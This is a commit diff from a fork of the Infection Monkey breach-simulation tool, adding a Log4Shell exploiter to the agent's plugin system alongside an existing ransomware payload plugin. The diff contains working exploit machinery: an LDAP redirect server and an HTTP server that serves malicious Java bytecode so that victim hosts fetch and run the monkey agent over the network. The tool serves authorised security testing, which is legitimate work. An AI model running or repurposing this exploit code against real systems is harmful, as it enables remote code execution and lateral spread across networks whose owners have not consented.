forked from p15670423/monkey
Merge pull request #1757 from guardicore/1736-add-log4shell-to-puppet
Add Log4Shell to puppet
This commit is contained in:
commit
e58d06b91e
|
@ -18,6 +18,7 @@ from infection_monkey.utils.commands import (
|
|||
get_monkey_commandline_linux,
|
||||
get_monkey_commandline_windows,
|
||||
)
|
||||
from infection_monkey.utils.environment import is_windows_os
|
||||
|
||||
if "win32" == sys.platform:
|
||||
from win32process import DETACHED_PROCESS
|
||||
|
@ -140,7 +141,7 @@ class MonkeyDrops(object):
|
|||
location=None,
|
||||
)
|
||||
|
||||
if OperatingSystem.Windows == SystemInfoCollector.get_os():
|
||||
if is_windows_os():
|
||||
monkey_commandline = get_monkey_commandline_windows(
|
||||
self._config["destination_path"], monkey_options
|
||||
)
|
||||
|
|
|
@ -13,13 +13,9 @@ from infection_monkey.exploit.log4shell_utils import (
|
|||
from infection_monkey.exploit.tools.helpers import get_monkey_depth
|
||||
from infection_monkey.exploit.tools.http_tools import HTTPTools
|
||||
from infection_monkey.exploit.web_rce import WebRCE
|
||||
from infection_monkey.i_puppet.i_puppet import ExploiterResultData
|
||||
from infection_monkey.model import DOWNLOAD_TIMEOUT as AGENT_DOWNLOAD_TIMEOUT
|
||||
from infection_monkey.model import (
|
||||
DROPPER_ARG,
|
||||
LOG4SHELL_LINUX_COMMAND,
|
||||
LOG4SHELL_WINDOWS_COMMAND,
|
||||
VictimHost,
|
||||
)
|
||||
from infection_monkey.model import DROPPER_ARG, LOG4SHELL_LINUX_COMMAND, LOG4SHELL_WINDOWS_COMMAND
|
||||
from infection_monkey.network.info import get_free_tcp_port
|
||||
from infection_monkey.network.tools import get_interface_to_target
|
||||
from infection_monkey.utils.commands import build_monkey_commandline
|
||||
|
@ -37,9 +33,24 @@ class Log4ShellExploiter(WebRCE):
|
|||
5 # Max time agent will wait for the response from victim in SECONDS
|
||||
)
|
||||
|
||||
def __init__(self, host: VictimHost):
|
||||
super().__init__(host)
|
||||
def _exploit_host(self) -> ExploiterResultData:
|
||||
self._open_ports = [
|
||||
int(port[0]) for port in WebRCE.get_open_service_ports(self.host, self.HTTP, ["http"])
|
||||
]
|
||||
|
||||
if not self._open_ports:
|
||||
logger.info("Could not find any open web ports to exploit")
|
||||
return self.exploit_result
|
||||
|
||||
self._configure_servers()
|
||||
self._start_servers()
|
||||
try:
|
||||
self.exploit(None, None)
|
||||
return self.exploit_result
|
||||
finally:
|
||||
self._stop_servers()
|
||||
|
||||
def _configure_servers(self):
|
||||
self._ldap_port = get_free_tcp_port()
|
||||
|
||||
self._class_http_server_ip = get_interface_to_target(self.host.ip_addr)
|
||||
|
@ -48,28 +59,15 @@ class Log4ShellExploiter(WebRCE):
|
|||
self._ldap_server = None
|
||||
self._exploit_class_http_server = None
|
||||
self._agent_http_server_thread = None
|
||||
self._open_ports = [
|
||||
int(port[0]) for port in WebRCE.get_open_service_ports(self.host, self.HTTP, ["http"])
|
||||
]
|
||||
|
||||
def _exploit_host(self):
|
||||
if not self._open_ports:
|
||||
logger.info("Could not find any open web ports to exploit")
|
||||
return False
|
||||
|
||||
self._start_servers()
|
||||
try:
|
||||
return self.exploit(None, None)
|
||||
finally:
|
||||
self._stop_servers()
|
||||
|
||||
def _start_servers(self):
|
||||
dropper_target_path = self.monkey_target_paths[self.host.os["type"]]
|
||||
|
||||
# Start http server, to serve agent to victims
|
||||
paths = self.get_monkey_paths()
|
||||
agent_http_path = self._start_agent_http_server(paths)
|
||||
agent_http_path = self._start_agent_http_server(dropper_target_path)
|
||||
|
||||
# Build agent execution command
|
||||
command = self._build_command(paths["dest_path"], agent_http_path)
|
||||
command = self._build_command(dropper_target_path, agent_http_path)
|
||||
|
||||
# Start http server to serve malicious java class to victim
|
||||
self._start_class_http_server(command)
|
||||
|
@ -77,10 +75,10 @@ class Log4ShellExploiter(WebRCE):
|
|||
# Start ldap server to redirect ldap query to java class server
|
||||
self._start_ldap_server()
|
||||
|
||||
def _start_agent_http_server(self, agent_paths: dict) -> str:
|
||||
def _start_agent_http_server(self, dropper_target_path) -> str:
|
||||
# Create server for http download and wait for it's startup.
|
||||
http_path, http_thread = HTTPTools.try_create_locked_transfer(
|
||||
self.host, agent_paths["src_path"]
|
||||
self.host, dropper_target_path, self.agent_repository
|
||||
)
|
||||
self._agent_http_server_thread = http_thread
|
||||
return http_path
|
||||
|
@ -116,9 +114,7 @@ class Log4ShellExploiter(WebRCE):
|
|||
|
||||
def _build_command(self, path, http_path) -> str:
|
||||
# Build command to execute
|
||||
monkey_cmd = build_monkey_commandline(
|
||||
self.host, get_monkey_depth() - 1, vulnerable_port=None, location=path
|
||||
)
|
||||
monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, location=path)
|
||||
if "linux" in self.host.os["type"]:
|
||||
base_command = LOG4SHELL_LINUX_COMMAND
|
||||
else:
|
||||
|
@ -137,11 +133,15 @@ class Log4ShellExploiter(WebRCE):
|
|||
else:
|
||||
return build_exploit_bytecode(exploit_command, WINDOWS_EXPLOIT_TEMPLATE_PATH)
|
||||
|
||||
def exploit(self, url, command) -> bool:
|
||||
def exploit(self, url, command) -> None:
|
||||
# Try to exploit all services,
|
||||
# because we don't know which services are running and on which ports
|
||||
for exploit in get_log4shell_service_exploiters():
|
||||
for port in self._open_ports:
|
||||
logger.debug(
|
||||
f'Attempting Log4Shell exploit on for service "{exploit.service_name}"'
|
||||
f"on port {port}"
|
||||
)
|
||||
try:
|
||||
url = exploit.trigger_exploit(self._build_ldap_payload(), self.host, port)
|
||||
except Exception as ex:
|
||||
|
@ -156,11 +156,12 @@ class Log4ShellExploiter(WebRCE):
|
|||
"port": port,
|
||||
}
|
||||
self.exploit_info["vulnerable_urls"].append(url)
|
||||
return True
|
||||
|
||||
return False
|
||||
self.exploit_result.exploitation_success = True
|
||||
self.exploit_result.propagation_success = True
|
||||
|
||||
def _wait_for_victim(self) -> bool:
|
||||
# TODO: Peridodically check to see if ldap or HTTP servers have exited with an error. If
|
||||
# they have, return with an error.
|
||||
victim_called_back = False
|
||||
|
||||
victim_called_back = self._wait_for_victim_to_download_java_bytecode()
|
||||
|
@ -180,6 +181,7 @@ class Log4ShellExploiter(WebRCE):
|
|||
|
||||
time.sleep(1)
|
||||
|
||||
logger.debug("Timed out while waiting for victim to download the java bytecode")
|
||||
return False
|
||||
|
||||
def _wait_for_victim_to_download_agent(self):
|
||||
|
|
|
@ -1,46 +1,13 @@
|
|||
import http.server
|
||||
import logging
|
||||
import threading
|
||||
from typing import Type
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
HTTP_TOO_MANY_REQUESTS_ERROR_CODE = 429
|
||||
|
||||
|
||||
# If we need to run multiple HTTP servers in parallel, we'll need to either:
|
||||
# 1. Use multiprocessing so that each HTTPHandler class has its own class_downloaded variable
|
||||
# 2. Create a metaclass and define the handler class dymanically at runtime
|
||||
class HTTPHandler(http.server.BaseHTTPRequestHandler):
|
||||
|
||||
java_class: bytes
|
||||
class_downloaded: threading.Event
|
||||
download_lock: threading.Lock
|
||||
|
||||
@classmethod
|
||||
def initialize(cls, java_class: bytes, class_downloaded: threading.Event):
|
||||
cls.java_class = java_class
|
||||
cls.class_downloaded = class_downloaded
|
||||
cls.download_lock = threading.Lock()
|
||||
|
||||
def do_GET(self):
|
||||
with HTTPHandler.download_lock:
|
||||
if HTTPHandler.class_downloaded.is_set():
|
||||
self.send_error(
|
||||
HTTP_TOO_MANY_REQUESTS_ERROR_CODE,
|
||||
"Java exploit class has already been downloaded",
|
||||
)
|
||||
return
|
||||
|
||||
HTTPHandler.class_downloaded.set()
|
||||
|
||||
logger.info("Java class server received a GET request!")
|
||||
self.send_response(200)
|
||||
self.send_header("Content-type", "application/octet-stream")
|
||||
self.end_headers()
|
||||
logger.info("Sending the payload class!")
|
||||
self.wfile.write(self.java_class)
|
||||
|
||||
|
||||
class ExploitClassHTTPServer:
|
||||
"""
|
||||
An HTTP server that serves Java bytecode for use with the Log4Shell exploiter. This server
|
||||
|
@ -62,7 +29,7 @@ class ExploitClassHTTPServer:
|
|||
self._class_downloaded = threading.Event()
|
||||
self._poll_interval = poll_interval
|
||||
|
||||
HTTPHandler.initialize(java_class, self._class_downloaded)
|
||||
HTTPHandler = _get_new_http_handler_class(java_class, self._class_downloaded)
|
||||
|
||||
self._server = http.server.HTTPServer((ip, port), HTTPHandler)
|
||||
# Setting `daemon=True` to save ourselves some trouble when this is merged to the
|
||||
|
@ -116,3 +83,46 @@ class ExploitClassHTTPServer:
|
|||
:rtype: bool
|
||||
"""
|
||||
return self._class_downloaded.is_set()
|
||||
|
||||
|
||||
def _get_new_http_handler_class(
|
||||
java_class: bytes, class_downloaded: threading.Event
|
||||
) -> Type[http.server.BaseHTTPRequestHandler]:
|
||||
"""
|
||||
Dynamically create a new subclass of http.server.BaseHTTPRequestHandler and return it to the
|
||||
caller.
|
||||
|
||||
Because Python's http.server.HTTPServer accepts a class and creates a new object to
|
||||
handle each request it receives, any state that needs to be shared between requests must be
|
||||
stored as class variables. Creating the request handler classes dynamically at runtime allows
|
||||
multiple ExploitClassHTTPServers, each with it's own unique state, to run concurrently.
|
||||
"""
|
||||
|
||||
def do_GET(self):
|
||||
with self.download_lock:
|
||||
if self.class_downloaded.is_set():
|
||||
self.send_error(
|
||||
HTTP_TOO_MANY_REQUESTS_ERROR_CODE,
|
||||
"Java exploit class has already been downloaded",
|
||||
)
|
||||
return
|
||||
|
||||
self.class_downloaded.set()
|
||||
|
||||
logger.info("Java class server received a GET request!")
|
||||
self.send_response(200)
|
||||
self.send_header("Content-type", "application/octet-stream")
|
||||
self.end_headers()
|
||||
logger.info("Sending the payload class!")
|
||||
self.wfile.write(self.java_class)
|
||||
|
||||
return type(
|
||||
"HTTPHandler",
|
||||
(http.server.BaseHTTPRequestHandler,),
|
||||
{
|
||||
"java_class": java_class,
|
||||
"class_downloaded": class_downloaded,
|
||||
"download_lock": threading.Lock(),
|
||||
"do_GET": do_GET,
|
||||
},
|
||||
)
|
||||
|
|
|
@ -6,14 +6,16 @@ import threading
|
|||
import time
|
||||
from pathlib import Path
|
||||
|
||||
from ldaptor.interfaces import IConnectedLDAPEntry
|
||||
from ldaptor.ldiftree import LDIFTreeEntry
|
||||
from ldaptor.protocols.ldap.ldapserver import LDAPServer
|
||||
from twisted.application import service
|
||||
from twisted.internet import reactor
|
||||
from twisted.internet.protocol import ServerFactory
|
||||
from twisted.python import log
|
||||
from twisted.python.components import registerAdapter
|
||||
|
||||
# WARNING: It was observed that this LDAP server would raise an exception and fail to start if
|
||||
# multiple Python threads attempt to start multiple LDAP servers simultaneously. It was
|
||||
# thought that since each LDAP server is started in its own process, there would be no
|
||||
# issue, however this is not the case. It seems that there may be something that is not
|
||||
# thread- or multiprocess-safe about some of the twisted imports. Moving the twisted
|
||||
# imports down into the functions where they are required and removing them from the top of
|
||||
# this file appears to resolve the issue.
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
@ -32,6 +34,8 @@ class Tree:
|
|||
"""
|
||||
|
||||
def __init__(self, http_server_ip: str, http_server_port: int, storage_dir: Path):
|
||||
from ldaptor.ldiftree import LDIFTreeEntry
|
||||
|
||||
self.path = tempfile.mkdtemp(prefix="log4shell", suffix=".ldap", dir=storage_dir)
|
||||
self.db = LDIFTreeEntry(self.path)
|
||||
|
||||
|
@ -91,14 +95,7 @@ class LDAPExploitServer:
|
|||
self._http_server_ip = http_server_ip
|
||||
self._http_server_port = http_server_port
|
||||
self._storage_dir = storage_dir
|
||||
|
||||
# A Twisted reactor can only be started and stopped once. It cannot be restarted after it
|
||||
# has been stopped. To work around this, the reactor is configured and run in a separate
|
||||
# process. This allows us to run multiple LDAP servers sequentially or simultaneously and
|
||||
# stop each one when we're done with it.
|
||||
self._server_process = multiprocessing.Process(
|
||||
target=self._run_twisted_reactor, daemon=True
|
||||
)
|
||||
self._server_process = None
|
||||
|
||||
def run(self):
|
||||
"""
|
||||
|
@ -108,6 +105,15 @@ class LDAPExploitServer:
|
|||
:raises LDAPServerStartError: Indicates there was a problem starting the LDAP server.
|
||||
"""
|
||||
logger.info("Starting LDAP exploit server")
|
||||
|
||||
# A Twisted reactor can only be started and stopped once. It cannot be restarted after it
|
||||
# has been stopped. To work around this, the reactor is configured and run in a separate
|
||||
# process. This allows us to run multiple LDAP servers sequentially or simultaneously and
|
||||
# stop each one when we're done with it.
|
||||
self._server_process = multiprocessing.Process(
|
||||
target=self._run_twisted_reactor, daemon=True
|
||||
)
|
||||
|
||||
self._server_process.start()
|
||||
reactor_running = self._reactor_startup_completed.wait(REACTOR_START_TIMEOUT_SEC)
|
||||
|
||||
|
@ -117,6 +123,8 @@ class LDAPExploitServer:
|
|||
logger.debug("The LDAP exploit server has successfully started")
|
||||
|
||||
def _run_twisted_reactor(self):
|
||||
from twisted.internet import reactor
|
||||
|
||||
logger.debug(f"Starting log4shell LDAP server on port {self._ldap_server_port}")
|
||||
self._configure_twisted_reactor()
|
||||
|
||||
|
@ -128,6 +136,8 @@ class LDAPExploitServer:
|
|||
reactor.run()
|
||||
|
||||
def _check_if_reactor_startup_completed(self):
|
||||
from twisted.internet import reactor
|
||||
|
||||
check_interval_sec = 0.25
|
||||
num_checks = math.ceil(REACTOR_START_TIMEOUT_SEC / check_interval_sec)
|
||||
|
||||
|
@ -141,6 +151,11 @@ class LDAPExploitServer:
|
|||
time.sleep(check_interval_sec)
|
||||
|
||||
def _configure_twisted_reactor(self):
|
||||
from ldaptor.interfaces import IConnectedLDAPEntry
|
||||
from twisted.application import service
|
||||
from twisted.internet import reactor
|
||||
from twisted.python.components import registerAdapter
|
||||
|
||||
LDAPExploitServer._output_twisted_logs_to_python_logger()
|
||||
|
||||
registerAdapter(lambda x: x.root, LDAPServerFactory, IConnectedLDAPEntry)
|
||||
|
@ -155,6 +170,8 @@ class LDAPExploitServer:
|
|||
|
||||
@staticmethod
|
||||
def _output_twisted_logs_to_python_logger():
|
||||
from twisted.python import log
|
||||
|
||||
# Configures Twisted to output its logs using the standard python logging module instead of
|
||||
# the Twisted logging module.
|
||||
# https://twistedmatrix.com/documents/current/api/twisted.python.log.PythonLoggingObserver.html
|
||||
|
|
|
@ -116,7 +116,7 @@ class WebRCE(HostExploiter):
|
|||
if not self.monkey_target_paths:
|
||||
self.monkey_target_paths = {
|
||||
"linux": self.options["dropper_target_path_linux"],
|
||||
"win64": self.options["dropper_target_path_win_64"],
|
||||
"windows": self.options["dropper_target_path_win_64"],
|
||||
}
|
||||
self.HTTP = [str(port) for port in self.options["http_ports"]]
|
||||
super().pre_exploit()
|
||||
|
|
|
@ -90,6 +90,10 @@ class AutomatedMaster(IMaster):
|
|||
logger.warning("Forcefully killing the simulation")
|
||||
|
||||
def _wait_for_master_stop_condition(self):
|
||||
logger.debug(
|
||||
"Checking for the stop signal from the island every "
|
||||
f"{CHECK_ISLAND_FOR_STOP_COMMAND_INTERVAL_SEC} seconds."
|
||||
)
|
||||
timer = Timer()
|
||||
timer.set(CHECK_ISLAND_FOR_STOP_COMMAND_INTERVAL_SEC)
|
||||
|
||||
|
|
|
@ -17,6 +17,7 @@ from infection_monkey.credential_collectors import (
|
|||
)
|
||||
from infection_monkey.exploit import CachingAgentRepository, ExploiterWrapper
|
||||
from infection_monkey.exploit.hadoop import HadoopExploiter
|
||||
from infection_monkey.exploit.log4shell import Log4ShellExploiter
|
||||
from infection_monkey.exploit.sshexec import SSHExploiter
|
||||
from infection_monkey.i_puppet import IPuppet, PluginType
|
||||
from infection_monkey.master import AutomatedMaster
|
||||
|
@ -45,11 +46,16 @@ from infection_monkey.telemetry.state_telem import StateTelem
|
|||
from infection_monkey.telemetry.tunnel_telem import TunnelTelem
|
||||
from infection_monkey.utils.aws_environment_check import run_aws_environment_check
|
||||
from infection_monkey.utils.environment import is_windows_os
|
||||
from infection_monkey.utils.monkey_dir import get_monkey_dir_path, remove_monkey_dir
|
||||
from infection_monkey.utils.monkey_dir import (
|
||||
create_monkey_dir,
|
||||
get_monkey_dir_path,
|
||||
remove_monkey_dir,
|
||||
)
|
||||
from infection_monkey.utils.monkey_log_path import get_monkey_log_path
|
||||
from infection_monkey.utils.signal_handler import register_signal_handlers, reset_signal_handlers
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
logging.getLogger("urllib3").setLevel(logging.INFO)
|
||||
|
||||
|
||||
class InfectionMonkey:
|
||||
|
@ -146,6 +152,8 @@ class InfectionMonkey:
|
|||
def _setup(self):
|
||||
logger.debug("Starting the setup phase.")
|
||||
|
||||
create_monkey_dir()
|
||||
|
||||
if firewall.is_enabled():
|
||||
firewall.add_firewall_rule()
|
||||
|
||||
|
@ -219,6 +227,9 @@ class InfectionMonkey:
|
|||
puppet.load_plugin(
|
||||
"HadoopExploiter", exploit_wrapper.wrap(HadoopExploiter), PluginType.EXPLOITER
|
||||
)
|
||||
puppet.load_plugin(
|
||||
"Log4ShellExploiter", exploit_wrapper.wrap(Log4ShellExploiter), PluginType.EXPLOITER
|
||||
)
|
||||
|
||||
puppet.load_plugin("ransomware", RansomwarePayload(), PluginType.PAYLOAD)
|
||||
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
import logging
|
||||
from contextlib import closing
|
||||
from typing import Dict, Iterable, Optional, Set, Tuple
|
||||
from typing import Dict, Iterable, Optional, Set, Tuple, Any
|
||||
|
||||
from requests import head
|
||||
from requests import head, Response
|
||||
from requests.exceptions import ConnectionError, Timeout
|
||||
|
||||
from infection_monkey.i_puppet import (
|
||||
|
@ -55,22 +55,27 @@ def _query_potential_http_server(host: str, port: int) -> Tuple[Optional[str], O
|
|||
https = f"https://{host}:{port}"
|
||||
|
||||
for url, ssl in ((https, True), (http, False)): # start with https and downgrade
|
||||
server_header_contents = _get_server_from_headers(url)
|
||||
server_header = _get_server_from_headers(url)
|
||||
|
||||
if server_header_contents is not None:
|
||||
return (server_header_contents, ssl)
|
||||
if server_header is not None:
|
||||
return server_header, ssl
|
||||
|
||||
return (None, None)
|
||||
return None, None
|
||||
|
||||
|
||||
def _get_server_from_headers(url: str) -> Optional[str]:
|
||||
headers = _get_http_headers(url)
|
||||
if headers:
|
||||
return headers.get("Server", "")
|
||||
|
||||
return None
|
||||
|
||||
|
||||
def _get_http_headers(url: str) -> Optional[Dict[str, Any]]:
|
||||
try:
|
||||
logger.debug(f"Sending request for headers to {url}")
|
||||
with closing(head(url, verify=False, timeout=1)) as req: # noqa: DUO123
|
||||
server = req.headers.get("Server")
|
||||
|
||||
logger.debug(f'Got server string "{server}" from {url}')
|
||||
return server
|
||||
with closing(head(url, verify=False, timeout=1)) as response: # noqa: DUO123
|
||||
return response.headers
|
||||
except Timeout:
|
||||
logger.debug(f"Timeout while requesting headers from {url}")
|
||||
except ConnectionError: # Someone doesn't like us
|
||||
|
|
|
@ -13,5 +13,5 @@ class T1107Telem(AttackTelem):
|
|||
|
||||
def get_data(self):
|
||||
data = super(T1107Telem, self).get_data()
|
||||
data.update({"path": self.path})
|
||||
data.update({"path": str(self.path)})
|
||||
return data
|
||||
|
|
|
@ -1,19 +1,24 @@
|
|||
import os
|
||||
import shutil
|
||||
import tempfile
|
||||
from pathlib import Path
|
||||
|
||||
MONKEY_DIR_NAME = "monkey_dir"
|
||||
MONKEY_DIR_PREFIX = "monkey_dir_"
|
||||
_monkey_dir = None
|
||||
|
||||
|
||||
def create_monkey_dir():
|
||||
# TODO: Check if we even need this. Individual plugins can just use tempfile.mkdtemp() or
|
||||
# tempfile.mkftemp() if they need to.
|
||||
def create_monkey_dir() -> Path:
|
||||
"""
|
||||
Creates directory for monkey and related files
|
||||
"""
|
||||
if not os.path.exists(get_monkey_dir_path()):
|
||||
os.mkdir(get_monkey_dir_path())
|
||||
global _monkey_dir
|
||||
|
||||
_monkey_dir = Path(tempfile.mkdtemp(prefix=MONKEY_DIR_PREFIX, dir=tempfile.gettempdir()))
|
||||
return _monkey_dir
|
||||
|
||||
|
||||
def remove_monkey_dir():
|
||||
def remove_monkey_dir() -> bool:
|
||||
"""
|
||||
Removes monkey's root directory
|
||||
:return True if removed without errors and False otherwise
|
||||
|
@ -25,5 +30,8 @@ def remove_monkey_dir():
|
|||
return False
|
||||
|
||||
|
||||
def get_monkey_dir_path():
|
||||
return os.path.join(tempfile.gettempdir(), MONKEY_DIR_NAME)
|
||||
def get_monkey_dir_path() -> Path:
|
||||
if _monkey_dir is None:
|
||||
create_monkey_dir()
|
||||
|
||||
return _monkey_dir # type: ignore
|
||||
|
|
|
@ -51,7 +51,9 @@ class MonkeyDownload(flask_restful.Resource):
|
|||
def get_agent_executable_path(host_os: str) -> Path:
|
||||
try:
|
||||
agent_path = get_executable_full_path(AGENTS[host_os])
|
||||
logger.debug(f"Monkey exec found for os: {host_os}, {agent_path}")
|
||||
logger.debug(f'Local path for {host_os} executable is "{agent_path}"')
|
||||
if not agent_path.is_file():
|
||||
logger.error(f"File {agent_path} not found")
|
||||
|
||||
return agent_path
|
||||
except KeyError:
|
||||
|
|
|
@ -30,6 +30,16 @@ def server(ip, port, java_class):
|
|||
server.stop()
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def second_server(ip, java_class):
|
||||
server = ExploitClassHTTPServer(ip, get_free_tcp_port(), java_class, 0.01)
|
||||
server.run()
|
||||
|
||||
yield server
|
||||
|
||||
server.stop()
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def exploit_url(ip, port):
|
||||
return f"http://{ip}:{port}/Exploit"
|
||||
|
@ -46,9 +56,19 @@ def test_only_single_download_allowed(exploit_url, java_class):
|
|||
assert response_2.content != java_class
|
||||
|
||||
|
||||
def test_exploit_class_downloded(server, exploit_url):
|
||||
def test_exploit_class_downloaded(server, exploit_url):
|
||||
assert not server.exploit_class_downloaded()
|
||||
|
||||
requests.get(exploit_url)
|
||||
|
||||
assert server.exploit_class_downloaded()
|
||||
|
||||
|
||||
def test_thread_safety(server, second_server, exploit_url):
|
||||
assert not server.exploit_class_downloaded()
|
||||
assert not second_server.exploit_class_downloaded()
|
||||
|
||||
requests.get(exploit_url)
|
||||
|
||||
assert server.exploit_class_downloaded()
|
||||
assert not second_server.exploit_class_downloaded()
|
||||
|
|
|
@ -5,27 +5,29 @@ import pytest
|
|||
from infection_monkey.i_puppet import PortScanData, PortStatus
|
||||
from infection_monkey.network_scanning.http_fingerprinter import HTTPFingerprinter
|
||||
|
||||
OPTIONS = {"http_ports": [80, 443, 8080, 9200]}
|
||||
OPTIONS = {"http_ports": [80, 443, 1080, 8080, 9200]}
|
||||
|
||||
PYTHON_SERVER_HEADER = "SimpleHTTP/0.6 Python/3.6.9"
|
||||
APACHE_SERVER_HEADER = "Apache/Server/Header"
|
||||
PYTHON_SERVER_HEADER = {"Server": "SimpleHTTP/0.6 Python/3.6.9"}
|
||||
APACHE_SERVER_HEADER = {"Server": "Apache/Server/Header"}
|
||||
NO_SERVER_HEADER = {"Not_Server": "No Header for you"}
|
||||
|
||||
SERVER_HEADERS = {
|
||||
"https://127.0.0.1:443": PYTHON_SERVER_HEADER,
|
||||
"http://127.0.0.1:8080": APACHE_SERVER_HEADER,
|
||||
"http://127.0.0.1:1080": NO_SERVER_HEADER,
|
||||
}
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def mock_get_server_from_headers():
|
||||
return MagicMock(side_effect=lambda port: SERVER_HEADERS.get(port, None))
|
||||
def mock_get_http_headers():
|
||||
return MagicMock(side_effect=lambda url: SERVER_HEADERS.get(url, None))
|
||||
|
||||
|
||||
@pytest.fixture(autouse=True)
|
||||
def patch_get_server_from_headers(monkeypatch, mock_get_server_from_headers):
|
||||
def patch_get_http_headers(monkeypatch, mock_get_http_headers):
|
||||
monkeypatch.setattr(
|
||||
"infection_monkey.network_scanning.http_fingerprinter._get_server_from_headers",
|
||||
mock_get_server_from_headers,
|
||||
"infection_monkey.network_scanning.http_fingerprinter._get_http_headers",
|
||||
mock_get_http_headers,
|
||||
)
|
||||
|
||||
|
||||
|
@ -34,7 +36,7 @@ def http_fingerprinter():
|
|||
return HTTPFingerprinter()
|
||||
|
||||
|
||||
def test_no_http_ports_open(mock_get_server_from_headers, http_fingerprinter):
|
||||
def test_no_http_ports_open(mock_get_http_headers, http_fingerprinter):
|
||||
port_scan_data = {
|
||||
80: PortScanData(80, PortStatus.CLOSED, "", "tcp-80"),
|
||||
123: PortScanData(123, PortStatus.OPEN, "", "tcp-123"),
|
||||
|
@ -43,10 +45,10 @@ def test_no_http_ports_open(mock_get_server_from_headers, http_fingerprinter):
|
|||
}
|
||||
http_fingerprinter.get_host_fingerprint("127.0.0.1", None, port_scan_data, OPTIONS)
|
||||
|
||||
assert not mock_get_server_from_headers.called
|
||||
assert not mock_get_http_headers.called
|
||||
|
||||
|
||||
def test_fingerprint_only_port_443(mock_get_server_from_headers, http_fingerprinter):
|
||||
def test_fingerprint_only_port_443(mock_get_http_headers, http_fingerprinter):
|
||||
port_scan_data = {
|
||||
80: PortScanData(80, PortStatus.CLOSED, "", "tcp-80"),
|
||||
123: PortScanData(123, PortStatus.OPEN, "", "tcp-123"),
|
||||
|
@ -57,18 +59,18 @@ def test_fingerprint_only_port_443(mock_get_server_from_headers, http_fingerprin
|
|||
"127.0.0.1", None, port_scan_data, OPTIONS
|
||||
)
|
||||
|
||||
assert mock_get_server_from_headers.call_count == 1
|
||||
mock_get_server_from_headers.assert_called_with("https://127.0.0.1:443")
|
||||
assert mock_get_http_headers.call_count == 1
|
||||
mock_get_http_headers.assert_called_with("https://127.0.0.1:443")
|
||||
|
||||
assert fingerprint_data.os_type is None
|
||||
assert fingerprint_data.os_version is None
|
||||
assert len(fingerprint_data.services.keys()) == 1
|
||||
|
||||
assert fingerprint_data.services["tcp-443"]["data"][0] == PYTHON_SERVER_HEADER
|
||||
assert fingerprint_data.services["tcp-443"]["data"][0] == PYTHON_SERVER_HEADER["Server"]
|
||||
assert fingerprint_data.services["tcp-443"]["data"][1] is True
|
||||
|
||||
|
||||
def test_open_port_no_http_server(mock_get_server_from_headers, http_fingerprinter):
|
||||
def test_open_port_no_http_server(mock_get_http_headers, http_fingerprinter):
|
||||
port_scan_data = {
|
||||
80: PortScanData(80, PortStatus.CLOSED, "", "tcp-80"),
|
||||
123: PortScanData(123, PortStatus.OPEN, "", "tcp-123"),
|
||||
|
@ -79,16 +81,16 @@ def test_open_port_no_http_server(mock_get_server_from_headers, http_fingerprint
|
|||
"127.0.0.1", None, port_scan_data, OPTIONS
|
||||
)
|
||||
|
||||
assert mock_get_server_from_headers.call_count == 2
|
||||
mock_get_server_from_headers.assert_any_call("https://127.0.0.1:9200")
|
||||
mock_get_server_from_headers.assert_any_call("http://127.0.0.1:9200")
|
||||
assert mock_get_http_headers.call_count == 2
|
||||
mock_get_http_headers.assert_any_call("https://127.0.0.1:9200")
|
||||
mock_get_http_headers.assert_any_call("http://127.0.0.1:9200")
|
||||
|
||||
assert fingerprint_data.os_type is None
|
||||
assert fingerprint_data.os_version is None
|
||||
assert len(fingerprint_data.services.keys()) == 0
|
||||
|
||||
|
||||
def test_multiple_open_ports(mock_get_server_from_headers, http_fingerprinter):
|
||||
def test_multiple_open_ports(mock_get_http_headers, http_fingerprinter):
|
||||
port_scan_data = {
|
||||
80: PortScanData(80, PortStatus.CLOSED, "", "tcp-80"),
|
||||
443: PortScanData(443, PortStatus.OPEN, "", "tcp-443"),
|
||||
|
@ -98,16 +100,34 @@ def test_multiple_open_ports(mock_get_server_from_headers, http_fingerprinter):
|
|||
"127.0.0.1", None, port_scan_data, OPTIONS
|
||||
)
|
||||
|
||||
assert mock_get_server_from_headers.call_count == 3
|
||||
mock_get_server_from_headers.assert_any_call("https://127.0.0.1:443")
|
||||
mock_get_server_from_headers.assert_any_call("https://127.0.0.1:8080")
|
||||
mock_get_server_from_headers.assert_any_call("http://127.0.0.1:8080")
|
||||
assert mock_get_http_headers.call_count == 3
|
||||
mock_get_http_headers.assert_any_call("https://127.0.0.1:443")
|
||||
mock_get_http_headers.assert_any_call("https://127.0.0.1:8080")
|
||||
mock_get_http_headers.assert_any_call("http://127.0.0.1:8080")
|
||||
|
||||
assert fingerprint_data.os_type is None
|
||||
assert fingerprint_data.os_version is None
|
||||
assert len(fingerprint_data.services.keys()) == 2
|
||||
|
||||
assert fingerprint_data.services["tcp-443"]["data"][0] == PYTHON_SERVER_HEADER
|
||||
assert fingerprint_data.services["tcp-443"]["data"][0] == PYTHON_SERVER_HEADER["Server"]
|
||||
assert fingerprint_data.services["tcp-443"]["data"][1] is True
|
||||
assert fingerprint_data.services["tcp-8080"]["data"][0] == APACHE_SERVER_HEADER
|
||||
assert fingerprint_data.services["tcp-8080"]["data"][0] == APACHE_SERVER_HEADER["Server"]
|
||||
assert fingerprint_data.services["tcp-8080"]["data"][1] is False
|
||||
|
||||
|
||||
def test_server_missing_from_http_headers(mock_get_http_headers, http_fingerprinter):
|
||||
port_scan_data = {
|
||||
1080: PortScanData(1080, PortStatus.OPEN, "", "tcp-1080"),
|
||||
}
|
||||
fingerprint_data = http_fingerprinter.get_host_fingerprint(
|
||||
"127.0.0.1", None, port_scan_data, OPTIONS
|
||||
)
|
||||
|
||||
assert mock_get_http_headers.call_count == 2
|
||||
|
||||
assert fingerprint_data.os_type is None
|
||||
assert fingerprint_data.os_version is None
|
||||
assert len(fingerprint_data.services.keys()) == 1
|
||||
|
||||
assert fingerprint_data.services["tcp-1080"]["data"][0] == ""
|
||||
assert fingerprint_data.services["tcp-1080"]["data"][1] is False
|
||||
|
|
|
@ -1,4 +1,5 @@
|
|||
import json
|
||||
from pathlib import Path
|
||||
|
||||
import pytest
|
||||
|
||||
|
